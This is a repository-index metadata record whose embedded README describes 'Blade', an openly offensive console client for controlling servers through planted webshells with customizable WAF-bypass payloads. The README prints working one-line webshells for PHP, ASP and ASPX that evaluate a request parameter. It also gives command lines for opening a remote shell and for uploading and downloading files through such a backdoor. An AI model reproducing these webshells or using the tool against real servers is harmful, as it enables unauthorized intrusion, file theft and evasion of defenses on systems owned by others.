{"id":13777553,"url":"https://github.com/wonderqs/blade","last_synced_at":"2025-05-11T11:33:49.056Z","repository":{"id":41497670,"uuid":"47322759","full_name":"wonderqs/Blade","owner":"wonderqs","description":"A webshell connection tool with customized WAF bypass payloads","archived":false,"fork":false,"pushed_at":"2018-09-12T08:04:08.000Z","size":31,"stargazers_count":126,"open_issues_count":0,"forks_count":28,"subscribers_count":20,"default_branch":"master","last_synced_at":"2024-11-17T13:37:27.534Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/wonderqs.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2015-12-03T09:47:33.000Z","updated_at":"2024-07-30T10:33:10.000Z","dependencies_parsed_at":"2022-09-05T04:21:01.087Z","dependency_job_id":null,"html_url":"https://github.com/wonderqs/Blade","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wonderqs%2FBlade","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wonderqs%2FBlade/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wonderqs%2FBlade/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wonderqs%2FBlade/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/wonderqs","download_url":"https://codeload.github.com/wonderqs/Blade/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253559087,"owners_count":21927532,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T18:00:45.203Z","updated_at":"2025-05-11T11:33:48.706Z","avatar_url":"https://github.com/wonderqs.png","language":"Python","funding_links":[],"categories":["\u003ca id=\"faa91844951d2c29b7b571c6e8a3eb54\"\u003e\u003c/a\u003e新添加"],"sub_categories":[],"readme":"## Blade\nBlade is a webshell connection tool based on console, currently under development and aims to be a choice of replacement of Chooper (中国菜刀). Chooper is a very cool webshell client with widly typies of server side scripts supported, but Chooper can only work on Windows opreation system, so this is the motivation of create another \"Chooper\" supporting Windows, Linux \u0026 Mac OS X. Blade is based on Python, so it allows users to modify the webshell connection payloads so that Blade can bypass some specified WAF which Chooper can not.\n## Major functions\nManage a web server with only one-line code on it, just like: \u003c?php @eval($_REQUEST[\"cmd\"]); ?\u003e\n\nPHP, ASP, ASPX \u0026 JSP supported.\n\nTerminal Console provided.\n\nFile management \u0026 Dadabase management.\n## Features\nCross-plaform supported (Python needed)\n\nCustomizable WAF bypass payloads\n\nCompatible with Chooper's server side scripts\n## Server side scripts examples\nPHP:\n\u003c?php @eval($_REQUEST[\"cmd\"]); ?\u003e\n\nASP:\n\u003c%eval request(\"cmd\")%\u003e\n\nASPX:\n\u003c%@ Page Language=\"Jscript\"%\u003e\u003c%eval(Request.Item[\"cmd\"],\"unsafe\");%\u003e\n## Usage\nGet a shell:\n\n python blade.py -u http://localhost/shell.php -s php -p cmd --shell\n\nGet a shell with longer timeout (i.e. for windows):\n\npython blade.py -u http://localhost/shell.aspx -s asp -p cmd --shell -t 60\n\nDownload a file:\n\npython blade.py -u http://localhost/shell.php -s php -p cmd --pull remote_path local_path\n\nUpload a file:\n\npython blade.py -u http://localhost/shell.php -s php -p cmd --push local_path remote_path\n## Current issues\nServer side scripts supporting is not completed, currently support PHP, ASP and ASPX\nASPX file upload/download is still under development\n\nDatabase management function is not completed, so can not connect databases\n\n## TODO\nImplment JSP\n\nFix file handling\n\n## Future developent\nBeacuse I am busy sometimes, the progress of development may be a bit slow. If anyone intrest this project, welcome fork!\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwonderqs%2Fblade","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fwonderqs%2Fblade","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwonderqs%2Fblade/lists"}